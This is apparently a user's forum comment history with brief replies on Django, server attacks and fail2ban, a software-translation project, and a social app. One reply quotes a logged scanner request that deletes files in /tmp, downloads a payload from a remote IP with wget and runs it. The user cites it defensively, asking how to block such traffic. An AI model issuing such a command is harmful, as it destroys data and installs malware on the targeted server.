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Re:Notes on Starting to Use Django on Wednesday January 28, 2026 @11:46PM (#46805899)
> But once something gets significantly complex, <insert name of literally any tech you're incompetent in> starts to fall down.

Vague arguments like this are categorically useless.

Re:Who's Attacking My Server? on Tuesday March 15, 2022 @03:11AM (#30682471)
This is a neat little solution. Thanks. I'll set this up and test it out.
Re:Who's Attacking My Server? on Sunday March 13, 2022 @01:54PM (#30663865)
> Fail2ban is theater on a properly configured server

How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls?

I see a variety of weird requests made to my http server. A sample:

`GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1`

Fail2ban seems a decent solution for this. Unless, of course, there's a better solution perhaps?

pedantic
I was internationalising a web extension that I had made, and it wasn't easy. For a single term, Google translate returns all possible translations of a word and then it gets hard to choose which translation best fits our required context.

For example, the word "Save" is used for saving a file or some data. But it also has other meanings depending on the context. Then it gets hard to choose which translation suits our use case.

With Open Translation, I want to make i18n easy by listing accurate and verified translations for commonly used phrases and terms in software, such as error messages, buttons, labels, etc.

Re:Show HN: Social app to stay connected in real life on Wednesday March 04, 2020 @08:16PM (#22490015)
> a social app that blurs your friends posts when you haven’t talked to them in real life for a few weeks

How will the app know that?

It would be good to see the percentage of upvotes on a product. Something like reddit.
Re:Ask HN: Why are billionaires not giving more money away? on Saturday November 25, 2017 @11:40PM (#15779441)
To maintain the status quo.

"Making the world a better place" is the biggest lie ever said.

Re:Show HN: Limbo - An anonymous job platform on Friday September 15, 2017 @11:06AM (#15257724)
I'm just wondering if you got this domain from a squatter or you were lucky enough to find it untaken?